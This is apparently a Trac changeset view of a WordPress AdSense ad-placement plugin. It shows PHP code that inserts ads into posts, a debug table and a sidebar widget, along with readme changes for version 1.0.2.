str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } echo(html_entity_decode($code)); } } } function adopt($type) { $opts=getOpts(); $code=generateAd($opts, $type); if($code) { echo(html_entity_decode($code)); } else { echo('<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->'); } } function adopt_debug() { global $nrofads, $adopt_menu, $adopt_version, $postlen; $opts=getOpts(); if(!isset($_GET['adoptdebug'])) return; echo ("<hr><h1> Adsenseoptimizer Debugging</h1>"); echo ('<table><tr><td>Number of generated Ads</td><td>'.$nrofads.'</td></tr>'); echo ('<tr><td>Version of Plugin</td><td>'.$adopt_version.'</td></tr>'); echo ('<tr><td>Subdirectory in which Plugin has to be</td><td>'.$adopt_menu.'</td></tr>'); echo ('<tr><td>type of page</td><td>'); if (is_single()) echo ("single."); if (is_page()) echo ("page."); if (is_home()) echo ("home."); if (is_archive()) echo ("archive."); if (is_search()) echo ("search."); if (is_tag()) echo ("tag."); if (is_date()) echo ("date."); if (is_author()) echo ("author."); if (is_category()) echo ("category."); echo ('</td></tr>'); if (is_single()) echo ('<tr><td>Words in Post</td><td>'.$postlen.'</td></tr>'); arrayAsTable($opts, "setting:"); echo ('</table>'); } function arrayAsTable($array, $pre) { foreach($array as $key=>$val) { if (is_array($val)) arrayAsTable($val,$pre.$key.":"); else echo ('<tr><td>'.$pre.$key.'</td><td>'.$val.'</td></tr>'); } } function init_count() { global $postcount; $postcount=0; } function destroy_count() { global $postcount, $loopdone; unset ($postcount); $loopdone=TRUE; } add_action('admin_menu', 'adsenseoptimizier_add_menu'); add_action('admin_init', 'adopt_admin_init'); add_action('wp_head', 'adopt_js'); if (!is_admin()) { add_filter('the_content', 'adsenseoptimize'); add_filter('the_post', 'post_adopt'); add_action('loop_start', 'init_count'); add_action('loop_end', 'destroy_count'); add_filter('init', 'adopt_init'); add_action('wp_footer', 'adopt_debug'); } class adopt_Widget extends WP_Widget { function adopt_Widget() { $widget_ops = array('classname' => 'adopt_widget', 'description' => 'Adsense Ad. Modify via Settings / Adsense Optimizer' ); $this->WP_Widget('adopt', 'Adsense Ad', $widget_ops); } function widget($args, $instance) { extract($args, EXTR_SKIP); echo $before_widget; $title = apply_filters('widget_title', $instance['title']); $adtype = empty($instance['adtype']) ? '5' : apply_filters('widget_adtype', $instance['adtype']); if ( !empty( $title ) ) { echo $before_title . $title . $after_title; }; adopt($adtype); echo $after_widget; } function update($new_instance, $old_instance) { $instance = $old_instance; $instance['title'] = strip_tags($new_instance['title']); $instance['adtype'] = strip_tags($new_instance['adtype']); return $instance; } function form($instance) { $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'adtype' => '') ); $title = strip_tags($instance['title']); $adtype = strip_tags($instance['adtype']); ?> 
    265353            <p>Title: <input class="widefat" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo attribute_escape($title); ?>" /></p> 
    266354            <p>Ad Type: (1-5) <input class="widefat" name="<?php echo $this->get_field_name('adtype'); ?>" type="text" value="<?php echo attribute_escape($adtype); ?>" /></p> 
  • adsenseoptimizer/trunk/readme.txt

    r225148 r226275  
    22Contributors: gnarf 
    33Donate link: http://adsense.losmuchachos.at/ 
    4 Tags: google, adsense, ad, monetize, widget, sidebar, ads 
     4Tags: google, ad, monetize, widget, sidebar, ads, adsense 
    55Requires at least: 2.8 
    66Tested up to: 2.9 
    7 Stable tag: 1.0.1 
     7Stable tag: 1.0.2 
    88 
    9 Ad Google Adsense Ads to your blog. Best Adsense Plugin !  
     9Insert Google Adsense Ads automatically to your blog. Nice optical result for all of your blog pages (archives, single pages etc.). Optimize the style and positioning of your Adsense ads for best eCPM. Best Adsense Plugin !  
    1010 
    1111== Description == 
    1212 
    13 Automatically ad Google Adcode to your Blog. Here are some of the reasons why this plugin is outstanding: 
     13Automatically ad Google Adsense code to your Blog. Here are some of the reasons why this plugin is outstanding: 
    1414 
    1515* Different injection for single pages and pages with more Posts. All other solutions make ugly pages and break the google program policy by adding to many ads!! 
     
    2121* different channels for all ads to control and optimize different styles, colors etc. 
    2222* ads available as widget 
     23* powerful optimization tool to find out the best style and positioning for your blog to multiply earnings. 
    2324* ........... 
    2425 
     
    2728 
    2829* Download 
    29 * Extract and copy adsenseoptimizer folder to Plugins Directory of your blog. (do not rename!) 
     30* Extract and copy Adsense Optimizer folder to Plugins Directory of your blog. (do not rename!) 
    3031* activate Plugins 
    31 * make settings (details see below) 
     32* make settings (details see [PluginPage](http://adsense.losmuchachos.at/ "Plugin Page") 
    3233* get rich  
    3334 
    3435 
    35 == Other == 
    36  
     36== Misc == 
    3737Most settings are self explanatory, for detailed description see the [PluginPage](http://adsense.losmuchachos.at/ "Plugin Page").  
    3838 
    39 You can also trigger an ad via the widget or via calling the php adopt function. For that also see the [PluginPage](http://adsense.losmuchachos.at/ "Plugin Page").  
     39You can also trigger an ad via the widget or via calling the php adopt function. For that also see the Plugin Page.  
    4040 
    4141== Version history == 
    42421.0.1  - Added color palettes and standard values for option setting for easier and faster costumization. 
     431.0.2  - Added the battle function for easy optimization of style and positioning of Adsense Blocks. 
     44         More sizes available (all possible Google ad sizes are supported) 
     45 
     46 
Note: See TracChangeset for help on using the changeset viewer.